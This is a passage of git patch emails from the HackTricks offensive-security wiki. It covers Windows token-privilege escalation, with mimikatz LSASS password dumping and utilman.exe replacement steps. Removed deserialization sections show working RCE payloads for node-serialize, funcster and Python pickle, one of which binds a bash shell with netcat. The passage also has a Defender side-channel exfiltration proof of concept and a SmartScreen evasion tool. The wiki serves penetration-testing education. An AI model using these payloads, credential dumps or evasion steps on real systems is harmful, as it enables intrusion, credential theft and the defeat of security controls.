load this dump in mimikatz to obtain passwords: - -``` -mimikatz.exe -mimikatz # log -mimikatz # sekurlsa::minidump lsass.dmp -mimikatz # sekurlsa::logonpasswords -``` - -#### RCE - -If you want to get a `NT SYSTEM` shell you could use: - -- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) -- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) -- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) - -```bash -# Get the PID of a process running as NT SYSTEM -import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) -``` - -### SeManageVolumePrivilege - -The `SeManageVolumePrivilege` is a Windows user right that allows users to manage disk volumes, including creating and deleting them. While intended for administrators, if granted to non-admin users, it can be exploited for privilege escalation. - -It's possible to leverage this privilege to manipulate volumes, leading to full volume access. The [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) can be used to give full access to all users for C:\ - -Additionally, the process outlined in [this Medium article](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) describes using DLL hijacking in conjunction with `SeManageVolumePrivilege` to escalate privileges. -By placing a payload DLL `C:\Windows\System32\wbem\tzres.dll` and calling `systeminfo` the dll is executed. - -## Check privileges - -``` -whoami /priv -``` - -The **tokens that appear as Disabled** can be enable, you you actually can abuse _Enabled_ and _Disabled_ tokens. - -### Enable All the tokens - -If you have tokens disables, you can use the script [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) to enable all the tokens: - -```bash -.\EnableAllTokenPrivs.ps1 -whoami /priv -``` - -Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/). - -## Table - -Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files. - -| Privilege | Impact | Tool | Execution path | Remarks | -| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"_ | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | -| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Read sensitve files with `robocopy /b` |

- May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.

| -| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. | | -| **`SeDebug`** | _**Admin**_ | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. Load buggy kernel driver such as szkg64.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv

|

1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar

| -| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege

| -| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U

|

Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.

| -| **`SeTcb`** | _**Admin**_ | 3rd party tool |

Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

| | - -## Reference - -- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin) -- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens. - -{{#include ../../../banners/hacktricks-training.md}} - - From 3db7d5f74f53b8ad24349145d319bb97fa1fb176 Mon Sep 17 00:00:00 2001 From: carlospolop Date: Wed, 3 Sep 2025 12:59:34 +0200 Subject: [PATCH 13/15] Drop unwanted changes in deserialization/README.md and av-bypass.md --- src/pentesting-web/deserialization/README.md | 493 +------------------ src/windows-hardening/av-bypass.md | 56 ++- 2 files changed, 45 insertions(+), 504 deletions(-) diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 08b02f21f..03ddc8fc8 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -178,211 +178,6 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas --- -# Deserialization - - - -## Basic Information - -**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. - -**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. - -Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. - -## PHP - -In PHP, specific magic methods are utilized during the serialization and deserialization processes: - -- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. -- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. -- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. -- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. -- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. - -```php -s.'
'; - } - public function __toString() - { - echo '__toString method called'; - } - public function __construct(){ - echo "__construct method called"; - } - public function __destruct(){ - echo "__destruct method called"; - } - public function __wakeup(){ - echo "__wakeup method called"; - } - public function __sleep(){ - echo "__sleep method called"; - return array("s"); #The "s" makes references to the public attribute - } -} - -$o = new test(); -$o->displaystring(); -$ser=serialize($o); -$unser=unserialize($ser); -$unser->displaystring(); -``` - -If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. - -> [!WARNING] -> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. -> -> ```php -> class MyClass { -> private $property; -> -> public function __unserialize(array $data): void { -> $this->property = $data['property']; -> // Perform any necessary tasks upon deserialization. -> } -> } -> ``` - -You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) - -### PHP Deserial + Autoload Classes - -You could abuse the PHP autoload functionality to load arbitrary php files and more: - - -{{#ref}} -php-deserialization-+-autoload-classes.md -{{#endref}} - -### Serializing Referenced Values - -If for some reason you want to serialize a value as a **reference to another value serialized** you can: - -```php -param1 =& $o->param22; -$o->param = "PARAM"; -$ser=serialize($o); -``` - -### Preventing PHP Object Injection with `allowed_classes` - -> [!INFO] -> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. - -`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: - -```php -// NEVER DO THIS – full object instantiation -$object = unserialize($userControlledData); - -// SAFER – disable object instantiation completely -$object = unserialize($userControlledData, [ - 'allowed_classes' => false // no classes may be created -]); - -// Granular – only allow a strict white-list of models -$object = unserialize($userControlledData, [ - 'allowed_classes' => [MyModel::class, DateTime::class] -]); -``` - -If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). - -#### Real-world example: Everest Forms (WordPress) CVE-2025-52709 - -The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: - -```php -function evf_maybe_unserialize($data, $options = array()) { - if (is_serialized($data)) { - if (version_compare(PHP_VERSION, '7.1.0', '>=')) { - // SAFE branch (PHP ≥ 7.1) - $options = wp_parse_args($options, array('allowed_classes' => false)); - return @unserialize(trim($data), $options); - } - // DANGEROUS branch (PHP < 7.1) - return @unserialize(trim($data)); - } - return $data; -} -``` - -On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: - -``` -O:8:"SomeClass":1:{s:8:"property";s:28:"";} -``` - -As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. - -**Take-aways** -1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. -2. Audit defensive wrappers – they often forget about the legacy PHP branches. -3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. - ---- - -### WordPress behaviours: maybe_unserialize() and object smuggling - -WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`: - -```php -function maybe_unserialize($original) { - if (is_serialized($original)) - return @unserialize($original); - return $original; -} -``` - -Two practical exploitation patterns from large plugin ecosystems: - -- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects. - -```php -// 1) craft payload -$user = 'orange'; -$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; -$name = 'Orange Tsai' . str_repeat('..', 25); -$obj = new User($user, $pass, $name); -$data = serialize($obj); - -// 2) developer mutates serialized blob -$data = str_replace("..", "", $data); - -// 3) length corruption → 'password' becomes Evil object on unserialize -print_r(unserialize($data)); -``` - -- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC). - -```php -$value = "%1$%s OR 1=1--#"; -$clause = $wpdb->prepare(" AND value = %s", $value); -$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key); -``` - -### Bypassing `__wakeup()` guards - -- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there. -- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`. - -### "Holy Grail" deserialization: memory-level primitives - -Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets. - ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ @@ -477,292 +272,6 @@ test_then() If you want to learn about this technique **take a look to the following tutorial**: -{{#ref}} -nodejs-proto-prototype-pollution/ -{{#endref}} - -### [node-serialize](https://www.npmjs.com/package/node-serialize) - -This library allows to serialise functions. Example: - -```javascript -var y = { - rce: function () { - require("child_process").exec("ls /", function (error, stdout, stderr) { - console.log(stdout) - }) - }, -} -var serialize = require("node-serialize") -var payload_serialized = serialize.serialize(y) -console.log("Serialized: \n" + payload_serialized) -``` - -The **serialised object** will looks like: - -```bash -{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} -``` - -You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. - -Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. - -![](<../../images/image (351).png>) - -![](<../../images/image (446).png>) - -As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. - -However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ -Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ -In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: - -```javascript -var serialize = require("node-serialize") -var test = { - rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", -} -serialize.unserialize(test) -``` - -As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: - -```javascript -var serialize = require("node-serialize") -var test = - "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" -serialize.unserialize(test) -``` - -You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. - -### [funcster](https://www.npmjs.com/package/funcster) - -A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. - -Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: - -```javascript -funcster = require("funcster") -//Serialization -var test = funcster.serialize(function () { - return "Hello world!" -}) -console.log(test) // { __js_function: 'function(){return"Hello world!"}' } - -//Deserialization with auto-execution -var desertest1 = { __js_function: 'function(){return "Hello world!}()' } -funcster.deepDeserialize(desertest1) -var desertest2 = { - __js_function: 'this.constructor.constructor("console.log(1111)")()', -} -funcster.deepDeserialize(desertest2) -var desertest3 = { - __js_function: - "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", -} -funcster.deepDeserialize(desertest3) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) - -The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: - -```javascript -function deserialize(serializedJavascript) { - return eval("(" + serializedJavascript + ")") -} -``` - -If this function is used to deserialize objects you can **easily exploit it**: - -```javascript -var serialize = require("serialize-javascript") -//Serialization -var test = serialize(function () { - return "Hello world!" -}) -console.log(test) //function() { return "Hello world!" } - -//Deserialization -var test = - "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" -deserialize(test) -``` - -**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** - -### Cryo library - -In the following pages you can find information about how to abuse this library to execute arbitrary commands: - -- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) -- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) - -## Java - HTTP - -In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. - -### Fingerprints - -#### White Box - -To identify potential serialization vulnerabilities in the codebase search for: - -- Classes that implement the `Serializable` interface. -- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. - -Pay extra attention to: - -- `XMLDecoder` utilized with parameters defined by external users. -- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. -- `ObjectInputStream` coupled with the `readObject` method. -- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. -- `ObjectInputStream.readUnshared`. -- General use of `Serializable`. - -#### Black Box - -For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): - -- Hexadecimal pattern: `AC ED 00 05`. -- Base64 pattern: `rO0`. -- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. -- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. -- Base64 pattern indicating prior compression: `H4sIA`. -- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). - -``` -javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s -``` - -### Check if vulnerable - -If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). - -#### White Box Test - -You can check if there is installed any application with known vulnerabilities. - -```bash -find . -iname "*commons*collection*" -grep -R InvokeTransformer . -``` - -You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ -When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. - -#### Black Box Test - -Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ -[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is focused on **`ObjectInputStream` deserializations**. - -Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ -[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. - -You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ -[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) - -**Serialization Test** - -Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ -If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. - -### **Exploit** - -#### **ysoserial** - -The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ -Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ -I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. - -```bash -# PoC to make the application perform a DNS req -java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload -``` - -### **Pickle** - -When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ -When exploited, server could return an error. - -```python -import pickle, os, base64 -class P(object): - def __reduce__(self): - return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) -print(base64.b64encode(pickle.dumps(P()))) -``` - -Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. - -For more information about escaping from **pickle jails** check: - - -{{#ref}} -../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ -{{#endref}} - -### Yaml **&** jsonpickle - -The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: - - -{{#ref}} -python-yaml-deserialization.md -{{#endref}} - -### Class Pollution (Python Prototype Pollution) - - -{{#ref}} -../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md -{{#endref}} - -## NodeJS - -### JS Magic Functions - -JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ -If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. - -Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ - -```javascript -// If you can compromise p (returned object) to be a promise -// it will be executed just because it's the return object of an async function: -async function test_resolve() { - const p = new Promise((resolve) => { - console.log("hello") - resolve() - }) - return p -} - -async function test_then() { - const p = new Promise((then) => { - console.log("hello") - return 1 - }) - return p -} - -test_ressolve() -test_then() -//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ -``` - -### `__proto__` and `prototype` pollution - -If you want to learn about this technique **take a look to the following tutorial**: - - {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -1223,7 +732,6 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect - JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ## .Net @@ -1640,3 +1148,4 @@ Industrialized gadget discovery: - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 1b0f2dc01..4fefb8dc1 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -356,23 +356,56 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them -## AVOracle – Defender emulation side‑channel (exfiltration) +## SmartScreen & MoTW -Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1‑bit oracle that leaks secrets. +You may have seen this screen when downloading some executables from the internet and executing them. -Minimal PoC concept: +Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. -```js -// sample.txt – treated as JS by Defender’s emulator -var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"; -// Append '!' only if the first byte of secret matches expectation -var c = document.body.innerHTML[0] == 'A' ? '!' : ''; -eval(mal + c); +
+ +SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). + +**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. + +

Checking the Zone.Identifier ADS for a file downloaded from the internet.

+ +> [!TIP] +> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. + +A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. + +
+ +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. + +Example usage: + +```bash +PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + ++ o + o + o + o + + o + + o + + + o + + + o + + o +-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o + :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ + for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + +-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' ++ o o + o + o o + o ++ o + o ~ Mariusz Banach / mgeeky o +o ~ + ~ + o + o + + + +[.] Packaging input file to output .iso (iso)... +Burning file onto ISO: + Adding file: /TotallyLegitApp.exe + +[+] Generated file written to (size: 3420160): container.iso ``` -If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk). +Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) -Impact: exfiltration of otherwise unreadable secrets via AV behavior. This is a detection evasion concern too (security tooling affecting integrity). See reference for full details and variations. +
## ETW @@ -872,6 +905,5 @@ References for PPL and tooling - [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon) - [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) - [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html) -- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../banners/hacktricks-training.md}} From b883a0d5c41df4723ab830fb436d8d9bc97eab23 Mon Sep 17 00:00:00 2001 From: SirBroccoli Date: Wed, 3 Sep 2025 13:09:05 +0200 Subject: [PATCH 14/15] Update README.md --- src/linux-hardening/privilege-escalation/README.md | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 852a7619b..1d5a0d5ea 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -440,16 +440,6 @@ Bash performs parameter expansion and command substitution before arithmetic eva # When the root cron parser evaluates (( total += count )), your command runs as root. ``` -- Preconditions: - - You can cause a line you control to be written into the log consumed by the root script. - - The script evaluates an untrusted variable inside ((...)), $((...)) or let. - -- Mitigations (for defenders): - - Never use arithmetic evaluation on untrusted strings. Validate first: `[[ $count =~ ^[0-9]+$ ]] || continue`. - - Prefer integer-safe parsing with awk or mapfile and explicit regex checks. - - Run log parsers as least-privileged users; never as root unless strictly necessary. - - ### Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: From 718a13c8ec97b9cb7cce0d61e1b9bc5233a6f89d Mon Sep 17 00:00:00 2001 From: Build master Date: Wed, 3 Sep 2025 20:07:08 +0000 Subject: [PATCH 15/15] Update searchindex (purged history; keep current)